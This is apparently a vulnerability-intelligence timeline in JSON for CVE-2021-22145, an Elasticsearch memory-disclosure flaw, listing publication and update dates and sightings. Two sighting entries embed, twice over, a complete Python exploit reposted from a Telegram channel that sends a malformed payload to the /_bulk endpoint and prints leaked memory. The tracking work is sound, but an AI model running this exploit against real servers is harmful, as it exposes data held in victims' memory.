{"metadata": {"vulnerability": "CVE-2021-22145", "count": 25, "kinds": {"milestone": 6, "sighting": 6, "kev": 0, "other": 13}}, "data": [{"timestamp": "2021-01-04T00:00:00Z", "date_only": false, "value": "2021-01-04T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-22145", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-07-21T11:20:52Z", "date_only": false, "value": "2021-07-21T11:20:52.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-22145", "field": "cveMetadata.datePublished"}, {"timestamp": "2021-07-21T15:15:00Z", "date_only": false, "value": "2021-07-21T15:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q394-H7F5-7F44", "record": "GHSA-Q394-H7F5-7F44", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-07-21T15:15:00Z", "date_only": false, "value": "2021-07-21T15:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-22145", "record": "UBUNTU-CVE-2021-22145", "field": "published"}, {"timestamp": "2021-07-21T15:15:00Z", "date_only": false, "value": "2021-07-21T15:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-22145", "record": "GSD-2021-22145", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-07-21T15:15:14.063Z", "date_only": false, "value": "2021-07-21T15:15:14.063", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-22145", "record": "FKIE_CVE-2021-22145", "field": "published"}, {"timestamp": "2022-05-10T15:25:00Z", "date_only": false, "value": "2022-05-10T15:25Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-22145", "record": "GSD-2021-22145", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-24T00:00:00Z", "date_only": true, "value": "2022-05-24", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2021-22145", "record": "GSD-2021-22145", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2022-05-24T19:08:49Z", "date_only": false, "value": "2022-05-24T19:08:49Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q394-H7F5-7F44", "record": "GHSA-Q394-H7F5-7F44", "field": "published"}, {"timestamp": "2022-06-22T00:00:00Z", "date_only": true, "value": "2022-06-22", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2021-22145", "record": "GSD-2021-22145", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2023-09-07T15:26:52Z", "date_only": false, "value": "2023-09-07T15:26:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "bdb6dff9-3017-4e55-b5af-ff2faf948781", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb"}, {"timestamp": "2023-12-13T01:23:24.203Z", "date_only": false, "value": "2023-12-13T01:23:24.203608Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-22145", "record": "GSD-2021-22145", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-06T10:53:12.399Z", "date_only": false, "value": "2024-03-06T10:53:12.399Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-ELASTICSEARCH-2021-22145", "record": "BIT-ELASTICSEARCH-2021-22145", "field": "published"}, {"timestamp": "2024-08-03T18:37:17.274Z", "date_only": false, "value": "2024-08-03T18:37:17.274Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-22145", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "58911733-e7a2-46ed-a086-4365d2081bc8"}, {"timestamp": "2025-02-23T04:10:34Z", "date_only": false, "value": "2025-02-23T04:10:34.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "3dfbe13b-194a-4a2f-89cd-5c884df02e68"}, {"timestamp": "2025-07-08T10:53:02.606Z", "date_only": false, "value": "2025-07-08T10:53:02.606Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-22145", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-07-08T10:53:02.606Z", "date_only": false, "value": "2025-07-08T10:53:02.606Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / elastic", "record": "CVE-2021-22145", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-07-09T15:02:17Z", "date_only": false, "value": "2025-07-09T15:02:17Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q394-H7F5-7F44", "record": "GHSA-Q394-H7F5-7F44", "field": "modified"}, {"timestamp": "2025-10-23T21:12:59Z", "date_only": false, "value": "2025-10-23T21:12:59.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "7b893c94-5b0d-40ad-92fe-8b2085b12151"}, {"timestamp": "2025-10-24T04:50:07Z", "date_only": false, "value": "2025-10-24T04:50:07Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-22145", "record": "UBUNTU-CVE-2021-22145", "field": "modified"}, {"timestamp": "2026-06-17T03:36:41.770Z", "date_only": false, "value": "2026-06-17T03:36:41.770", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-22145", "record": "FKIE_CVE-2021-22145", "field": "lastModified"}, {"timestamp": "2026-09-01T20:02:30.796Z", "date_only": false, "value": "2026-09-01T20:02:30.796830Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/17554", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "d9193d1f-8040-48f3-83b1-ae9cf00e7495", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/17554"}, {"timestamp": "2026-09-07T22:00:06.388Z", "date_only": false, "value": "2026-09-07T22:00:06.388068Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/17554", "record": "CVE-2021-22145", "field": "creation_timestamp", "uuid": "4bc57bcf-53e4-4f94-a4ec-e92e3a482aa9", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/17554"}, {"timestamp": "2026-09-08T08:34:36.952Z", "date_only": false, "value": "2026-09-08T08:34:36.952Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-ELASTICSEARCH-2021-22145", "record": "BIT-ELASTICSEARCH-2021-22145", "field": "modified"}]}